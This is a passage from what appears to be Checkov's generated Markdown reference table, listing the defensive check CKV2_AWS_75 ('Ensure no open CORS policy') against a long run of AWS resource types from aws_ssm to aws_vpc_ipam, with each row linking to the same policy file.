[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1521 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_target                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1522 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_task                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1523 | CKV2_AWS_75 | resource | aws_ssm_parameter                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1524 | CKV2_AWS_75 | resource | aws_ssm_patch_baseline                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1525 | CKV2_AWS_75 | resource | aws_ssm_patch_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1526 | CKV2_AWS_75 | resource | aws_ssm_resource_data_sync                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1527 | CKV2_AWS_75 | resource | aws_ssm_service_setting                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1528 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1529 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact_channel                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1530 | CKV2_AWS_75 | resource | aws_ssmcontacts_plan                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1531 | CKV2_AWS_75 | resource | aws_ssmcontacts_rotation                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1532 | CKV2_AWS_75 | resource | aws_ssmincidents_replication_set                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1533 | CKV2_AWS_75 | resource | aws_ssmincidents_response_plan                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1534 | CKV2_AWS_75 | resource | aws_ssmquicksetup_configuration_manager                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1535 | CKV2_AWS_75 | resource | aws_ssoadmin_account_assignment                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1536 | CKV2_AWS_75 | resource | aws_ssoadmin_application                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1537 | CKV2_AWS_75 | resource | aws_ssoadmin_application_access_scope                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1538 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1539 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment_configuration                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1540 | CKV2_AWS_75 | resource | aws_ssoadmin_customer_managed_policy_attachment                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1541 | CKV2_AWS_75 | resource | aws_ssoadmin_instance_access_control_attributes                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1542 | CKV2_AWS_75 | resource | aws_ssoadmin_managed_policy_attachment                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1543 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1544 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1545 | CKV2_AWS_75 | resource | aws_ssoadmin_permissions_boundary_attachment                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1546 | CKV2_AWS_75 | resource | aws_ssoadmin_trusted_token_issuer                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1547 | CKV2_AWS_75 | resource | aws_storagegateway_cache                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1548 | CKV2_AWS_75 | resource | aws_storagegateway_cached_iscsi_volume                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1549 | CKV2_AWS_75 | resource | aws_storagegateway_file_system_association                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1550 | CKV2_AWS_75 | resource | aws_storagegateway_gateway                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1551 | CKV2_AWS_75 | resource | aws_storagegateway_nfs_file_share                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1552 | CKV2_AWS_75 | resource | aws_storagegateway_smb_file_share                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1553 | CKV2_AWS_75 | resource | aws_storagegateway_stored_iscsi_volume                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1554 | CKV2_AWS_75 | resource | aws_storagegateway_tape_pool                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1555 | CKV2_AWS_75 | resource | aws_storagegateway_upload_buffer                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1556 | CKV2_AWS_75 | resource | aws_storagegateway_working_storage                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1557 | CKV2_AWS_75 | resource | aws_subnet                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1558 | CKV2_AWS_75 | resource | aws_swf_domain                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1559 | CKV2_AWS_75 | resource | aws_synthetics_canary                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1560 | CKV2_AWS_75 | resource | aws_synthetics_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1561 | CKV2_AWS_75 | resource | aws_synthetics_group_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1562 | CKV2_AWS_75 | resource | aws_timestreaminfluxdb_db_instance                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1563 | CKV2_AWS_75 | resource | aws_timestreamquery_scheduled_query                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1564 | CKV2_AWS_75 | resource | aws_timestreamwrite_database                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1565 | CKV2_AWS_75 | resource | aws_timestreamwrite_table                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1566 | CKV2_AWS_75 | resource | aws_transcribe_language_model                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1567 | CKV2_AWS_75 | resource | aws_transcribe_medical_vocabulary                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1568 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1569 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary_filter                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1570 | CKV2_AWS_75 | resource | aws_transfer_access                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1571 | CKV2_AWS_75 | resource | aws_transfer_agreement                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1572 | CKV2_AWS_75 | resource | aws_transfer_certificate                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1573 | CKV2_AWS_75 | resource | aws_transfer_connector                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1574 | CKV2_AWS_75 | resource | aws_transfer_profile                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1575 | CKV2_AWS_75 | resource | aws_transfer_server                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1576 | CKV2_AWS_75 | resource | aws_transfer_ssh_key                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1577 | CKV2_AWS_75 | resource | aws_transfer_tag                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1578 | CKV2_AWS_75 | resource | aws_transfer_user                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1579 | CKV2_AWS_75 | resource | aws_transfer_workflow                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1580 | CKV2_AWS_75 | resource | aws_verifiedaccess_endpoint                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1581 | CKV2_AWS_75 | resource | aws_verifiedaccess_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1582 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1583 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_logging_configuration                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1584 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_trust_provider_attachment            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1585 | CKV2_AWS_75 | resource | aws_verifiedaccess_trust_provider                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1586 | CKV2_AWS_75 | resource | aws_verifiedpermissions_identity_source                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1587 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1588 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_store                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1589 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_template                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1590 | CKV2_AWS_75 | resource | aws_verifiedpermissions_schema                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1591 | CKV2_AWS_75 | resource | aws_volume_attachment                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1592 | CKV2_AWS_75 | resource | aws_vpc                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1593 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_exclusion                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1594 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_options                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1595 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1596 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1597 | CKV2_AWS_75 | resource | aws_vpc_endpoint                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1598 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_accepter                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1599 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_notification                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1600 | CKV2_AWS_75 | resource | aws_vpc_endpoint_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1601 | CKV2_AWS_75 | resource | aws_vpc_endpoint_private_dns                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1602 | CKV2_AWS_75 | resource | aws_vpc_endpoint_route_table_association                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1603 | CKV2_AWS_75 | resource | aws_vpc_endpoint_security_group_association                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1604 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1605 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_allowed_principal                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1606 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_private_dns_verification                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1607 | CKV2_AWS_75 | resource | aws_vpc_endpoint_subnet_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1608 | CKV2_AWS_75 | resource | aws_vpc_ipam                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1609 | CKV2_AWS_75 | resource | aws_vpc_ipam_organization_admin_account                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1610 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1611 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1612 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr_allocation                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1613 | CKV2_AWS_75 | resource | aws_vpc_ipam_preview_next_cidr                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1614 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1615 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery_association                      | Ensure no open CORS policy                                                                                                                                                    